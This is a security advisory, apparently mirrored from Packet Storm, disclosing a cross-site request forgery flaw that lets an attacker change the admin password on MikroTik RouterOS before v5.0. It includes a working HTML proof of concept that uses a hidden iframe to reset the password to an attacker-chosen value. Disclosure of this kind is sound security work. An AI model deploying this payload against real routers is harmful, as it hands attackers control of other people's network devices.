MikroTik RouterOS Cross Site Request Forgery

🗓️ 08 Mar 2015 00:00:00Reported by Mohamed A. BasetType

packetstorm🔗 packetstormsecurity.com👁 41 Views

MikroTik RouterOS v5.0 and below CSRF Vulnerabilit

`MikroTik RouterOS < v5.0 Admin Password Change CSRF Vulnerability by  
@SymbianSyMoh  
  
What is MikroTik RouterOS?!  
MikroTik RouterOS is an operating system based on the Linux kernel, known  
as the MikroTik RouterOS. Installed on the company's proprietary hardware  
(RouterBOARD series), or on standard x86-based computers, it turns a  
computer into a network router and implements various additional features,  
such as firewalling, virtual private network (VPN) service and client,  
bandwidth shaping and quality of service, wireless access point functions  
and other commonly used features when interconnecting networks. The system  
is also able to serve as a captive-portal-based hotspot system.  
__"Wikipedia"  
  
  
What is CSRF Attack?!  
Cross-Site Request Forgery (CSRF) is an attack which forces an end user to  
execute unwanted actions on a web application in which he/she is currently  
authenticated. CSRF attacks specifically target state-changing requests,  
not theft of data, since the attacker has no way to see the response to the  
forged request. With a little help of social engineering (like sending a  
link via email/chat), an attacker may trick the users of a web application  
into executing actions of the attacker's choosing. If the victim is a  
normal user, a successful CSRF attack can force the user to perform state  
changing requests like transfering funds, changing their email address,  
etc. If the victim is an administrative account, CSRF can compromise the  
entire web application.  
__"OWASP"  
  
  
Affected Versions:  
All MikroTik RouterOS versions before v5.0  
  
  
PoC Code:  
<html>  
<body>  
<title>MikroTik RouterOS < v4 Admin Password Change CSRF  
Vulnerability</title>  
<h1><b>MikroTik RouterOS < v4 Admin Password Change CSRF Vulnerability by  
@SymbianSyMoh</b></h1></br>  
<input type="submit" value="Do it" onclick="var  
btn=document.createElement('IFRAME');btn.src='  
http://192.168.0.2/cfg?page=status&counter=1000&process=password&password1=Pwn3D2015&password2=Pwn3D2015&button=ok';btn.width='0';btn.height='0';btn.id='myIframe';document.body.appendChild(btn);alert('Pwned')  
<http://s.bl-1.com/h/mPQQyg5?url=http://192.168.0.2/cfg?page=status&counter=1000&process=password&password1=Pwn3D2015&password2=Pwn3D2015&button=ok%27;btn.width=%270%27;btn.height=%270%27;btn.id=%27myIframe%27;document.body.appendChild(btn);alert(%27Pwned%27)>  
;"></br>  
</body>  
</html>  
  
  
Video PoC:  
http://youtu.be/FHrvHJeLjLA  
<http://s.bl-1.com/h/mPQQ237?url=http://youtu.be/FHrvHJeLjLA>  
  
--   
*Best Regards**,**,*  
  
  
*Mohamed Abdelbaset Elnoby*Guru Programmer, Information Security Evangelist  
& Bug Bounty Hunter.  
LinkedIn  
<http://s.bl-1.com/h/mPQQ6S9?url=https://www.linkedin.com/in/symbiansymoh>Curriculum  
Vitae <http://s.bl-1.com/h/mPQQCrC?url=http://goo.gl/cNrVpL>  
<http://s.bl-1.com/h/mPQQHFF?url=https://www.linkedin.com/in/symbiansymoh>  
Facebook  
<http://s.bl-1.com/h/mPQQNfH?url=https://fb.com/symbiansymoh>Twitter  
<http://s.bl-1.com/h/mPQQS2K?url=https://twitter.com/symbiansymoh>  
`

08 Mar 2015 00:00Current

0.4Low risk

Vulners AI Score0.4